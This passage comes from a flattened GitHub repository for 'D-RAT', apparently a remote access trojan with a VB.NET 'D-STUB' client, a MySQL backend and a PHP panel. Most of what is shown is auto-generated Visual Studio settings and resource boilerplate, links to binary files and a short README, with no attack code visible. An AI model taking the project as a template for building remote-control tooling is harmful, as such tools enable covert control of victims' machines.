Global.System.Globalization.CultureInfo) 58 | resourceCulture = value 59 | End Set 60 | End Property 61 | End Module 62 | End Namespace 63 | -------------------------------------------------------------------------------- /D-STUB/My Project/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /D-STUB/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.D_STUB.My.MySettings 68 | Get 69 | Return Global.D_STUB.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /D-STUB/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /D-STUB/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-STUB/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /D-STUB/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-STUB/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /D-STUB/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-STUB/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll -------------------------------------------------------------------------------- /Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/Mono.Cecil.dll -------------------------------------------------------------------------------- /MySql.Data.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/MySql.Data.dll -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # D-RAT_VB.NET_MySQL_PHP 2 | D-RAT [VB.NET]+[MySQL]+[PHP] 3 | -- 4 | The project is composed of "D-RAT" server and client "D-STUB" 5 | 6 | Programming for the client and server languages: "VB.NET Framework 2" 7 | Database: "MySQL" 8 | Web page: "PHP" 9 | 10 | https://www.youtube.com/watch?v=opBbmQ5BRFk 11 | -------------------------------------------------------------------------------- /user.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | --------------------------------------------------------------------------------